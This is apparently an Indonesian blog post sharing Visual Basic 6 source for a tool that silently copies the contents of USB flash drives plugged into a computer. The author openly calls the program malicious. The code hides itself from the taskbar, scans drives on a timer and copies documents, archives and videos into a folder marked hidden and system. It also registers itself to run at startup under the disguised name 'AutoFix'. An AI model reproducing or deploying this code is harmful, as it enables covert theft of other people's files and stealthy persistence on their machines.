Source code rampok FD
Posted OnAkhirnya hari yang di tunggu-tunggu datang juga yaitu hari di mana awal dari bulan ramadhan, bulan yang penuh berkah. mohon doanya ya semoga bulan ini saya bisa menjalankan ibadah puasa, sehingga dapat hidayah dari Allah SWT. dan bulan ini saya akan membagikan ilmu saya pada visual basic. doakan kan setiap hari di bulan ramadhan aku akan membahas 1 tentang visual basic, dab bermanfaat bagi pembaca.
Silahkan aja anda ikuti tutorial saya di hari bulan puasanya ini. disini aku akan membahas gimana kita dapat mengambil data dari flasdisk yang tercolok di kompi kita.
sebenarnya program ini termasuk jahat juga karena program ini akan menyedot isi dari FD tanpa pemberitahuan. langsung aja ikuti petunjuk seterusnya
Buka VB6 ya......., jangan sediakan apa2 kan puasa....hehe...
1. Siapkan 2 form, 2 module, 1 usercontrol
2. Siapkan jari anda untuk copas (copy paste ni source) untuk tampilan gimana mas?
kan udah besar pikir dan bayangkan sendiri ya....
ni kode untuk form1
Dim SearchFlag As Integer
Dim Aku As Long
Dim myPath As String
Dim Direktori As String, Folder As String, Ekstensi As String
Dim UserName As String, Password As String, AutoStart As String
Dim Hidden As String, RampokSemua As String
Dim nID As NOTIFYICONDATA
Private Sub UpdateIcon(IconApa As Long)
With nID
.cbSize = Len(nID)
.hwnd = Me.hwnd
.uId = vbNull
.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.uCallBackMessage = WM_MOUSEMOVE
.hIcon = IconApa
End With
Shell_NotifyIcon NIM_ADD, nID
End Sub
Private Sub Rampok(Tempatnya As String)
Dim PathPertama As String, JumlahDir As Integer, NomorFile As Integer
Dim Hasilnya As Integer
Dim ind As Integer
Dim i As Integer
On Error Resume Next
If dirList.Path <> dirList.List(dirList.ListIndex) Then
dirList.Path = dirList.List(dirList.ListIndex)
Exit Sub
End If
dirList.Path = Tempatnya
PathPertama = dirList.Path
JumlahDir = dirList.ListCount
DoEvents
NomorFile = 0
Hasilnya = DirDiver(PathPertama, JumlahDir, "")
filList.Path = dirList.Path
Screen.MousePointer = vbDefault
End Sub
Private Function DirDiver(PathBaru As String, JumlahDir As Integer, BackUp As String) As Integer
Dim DirsToPeek As Long
Dim AbandonSearch As Long
Dim ind As Long
Dim PathLama As String
Dim PathSekarang As String
Dim Entry As String
Dim Retval As Integer
Dim X As Integer
Dim HariIni As String
On Error Resume Next
HariIni = Format(Now, "yyyymmdd")
BuatFolder txtField(0).Text + txtField(1).Text + "\"
BuatFolder txtField(0).Text + txtField(1).Text + "\" + HariIni + "\"
SearchFlag = True
DirDiver = False
Retval = DoEvents()
If SearchFlag = False Then
DirDiver = True
Exit Function
End If
DirsToPeek = dirList.ListCount
Do While DirsToPeek > 0 And SearchFlag = True
PathLama = dirList.Path
dirList.Path = PathBaru
If dirList.ListCount > 0 Then
dirList.Path = dirList.List(DirsToPeek - 1)
AbandonSearch = DirDiver((dirList.Path), JumlahDir%, PathLama)
End If
DirsToPeek = DirsToPeek - 1
If AbandonSearch = True Then Exit Function
Loop
If filList.ListCount Then
If Len(dirList.Path) <= 3 Then
PathSekarang = dirList.Path
Else
PathSekarang = dirList.Path + "\"
End If
For ind = 0 To filList.ListCount - 1
Entry = PathSekarang + filList.List(ind)
Aku = CopyFiles(PathSekarang, txtField(0).Text + txtField(1).Text + "\" + HariIni + "\", filList.List(ind))
Next ind
End If
If BackUp <> "" Then
dirList.Path = BackUp
End If
End Function
Private Sub chkHide_Click()
On Error Resume Next
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf chkHide.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
End Sub
Private Sub chkStart_Click()
On Error Resume Next
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
ElseIf chkStart.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
End Sub
Private Sub cmdBrowse_Click()
On Error Resume Next
With BukaFile
.ShowOpen
txtField(0).Text = Left(.FileName, Len(Trim(.FileName)) - Len(Trim(.FileTitle)))
End With
End Sub
Private Sub cmdSimpan_Click()
On Error Resume Next
DataString = txtField(4).Text
Translate
Call SimpanReg(Tempat, SubTempat, "Direktori", txtField(0).Text)
Call SimpanReg(Tempat, SubTempat, "Folder", txtField(1).Text)
Call SimpanReg(Tempat, SubTempat, "Ekstensi", txtField(2).Text)
Call SimpanReg(Tempat, SubTempat, "UserName", txtField(3).Text)
Call SimpanReg(Tempat, SubTempat, "Password", Temp$)
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
Else
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
Else
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
If optPil(0).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
filList.Pattern = txtField(2).Text
ElseIf optPil(1).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If
For i = 0 To 4
txtField(i).Locked = True
Next i
cmdSimpan.Enabled = False
cmdUbah.Enabled = True
End Sub
Private Sub cmdUbah_Click()
On Error Resume Next
For i = 0 To 4
txtField(i).Locked = False
Next i
cmdSimpan.Enabled = True
cmdUbah.Enabled = False
txtField(0).SetFocus
End Sub
Private Sub DirList_Change()
filList.Path = dirList.Path
End Sub
Private Sub DirList_LostFocus()
dirList.Path = dirList.List(dirList.ListIndex)
End Sub
Private Sub Form_Load()
On Error Resume Next
UpdateIcon Me.Icon
App.TaskVisible = False
Call BacaReg(Tempat, SubTempat, "Password", Password)
Call BacaReg(Tempat, SubTempat, "Direktori", Direktori)
Call BacaReg(Tempat, SubTempat, "Folder", Folder)
Call BacaReg(Tempat, SubTempat, "Ekstensi", Ekstensi)
Call BacaReg(Tempat, SubTempat, "UserName", UserName)
Call BacaReg(Tempat, SubTempat, "AutoStart", AutoStart)
Call BacaReg(Tempat, SubTempat, "Hidden", Hidden)
Call BacaReg(Tempat, SubTempat, "RampokSemua", RampokSemua)
For i = 0 To 4
txtField(i).Locked = True
Next i
If Direktori = "" Then
txtField(0).Text = App.Path + "\"
Else
txtField(0).Text = Direktori
End If
If Folder = "" Then
txtField(1).Text = "Hasil Merampok"
Else
txtField(1).Text = Folder
End If
If Ekstensi = "" Then
txtField(2).Text = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
filList.Pattern = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
Else
txtField(2).Text = Ekstensi
filList.Pattern = Ekstensi
End If
If UserName = "" Then
txtField(3).Text = "mr_hack"
Else
txtField(3).Text = UserName
End If
If AutoStart = "" Then
chkStart.Value = 0
ElseIf AutoStart = "True" Then
chkStart.Value = 1
ElseIf AutoStart = "False" Then
chkStart.Value = 0
End If
If Hidden = "" Then
chkHide.Value = 0
ElseIf Hidden = "True" Then
chkHide.Value = 1
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf Hidden = "False" Then
chkHide.Value = 0
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
If RampokSemua = "" Then
optPil(0).Value = False
optPil(1).Value = True
ElseIf RampokSemua = "ON" Then
optPil(0).Value = True
optPil(1).Value = False
Timer1.Enabled = True
ElseIf RampokSemua = "OFF" Then
optPil(0).Value = False
optPil(1).Value = True
Timer1.Enabled = False
End If
DataString = Password
Translate
Password = Temp$
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
Me.WindowState = 1
txtField(4).Text = Password
End If
End Sub
Private Sub Form_Resize()
If Me.WindowState = vbMinimized Then
Me.Hide
End If
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim Hasil As Long
Dim HorX As Long
If Me.ScaleMode = vbPixels Then
HorX = X
Else
HorX = X / Screen.TwipsPerPixelX
End If
Select Case HorX
Case WM_LBUTTONDBLCLK 'Restore saat klik kiri beruntun.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
Case WM_RBUTTONUP 'Tampilkan menu Popup saat klik kanan.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
End Select
End Sub
Private Sub Form_Unload(Cancel As Integer)
Shell_NotifyIcon NIM_DELETE, nID
End
End Sub
Private Sub mMinimize_Click()
Me.WindowState = 1
End Sub
Private Sub mnExit_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
End
Else
frmPassword.Show
End If
End Sub
Private Sub mPembuat_Click()
MsgBox "Dibuat oleh mr_hack" + Chr(13) + _
"E-mail : mr_hack77@yahoo.com" + Chr(13) + _
"E-mail : hack.chin@gmail.com" + Chr(13) + _
"thank to:" + Chr(13) + _
"Semua teman-teman yogyafree.net" + Chr(13) + _
"Semua teman-teman vb-bego.com" + Chr(13) + _
"All friend", vbOKOnly + vbInformation, "Sing Gawe"
End Sub
Private Sub mRestore_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
frmPassword.Show
End If
End Sub
Private Sub optPil_Click(Index As Integer)
If optPil(0).Value = True Then
Timer1.Enabled = True
filList.Pattern = txtField(2).Text
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
Else
Timer1.Enabled = False
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If
End Sub
Private Sub Timer1_Timer()
For i = 1 To Len(CariDrive) Step 3
Rampok Mid$(CariDrive, i, 2)
Next i
End Sub
0 komentar:
Posting Komentar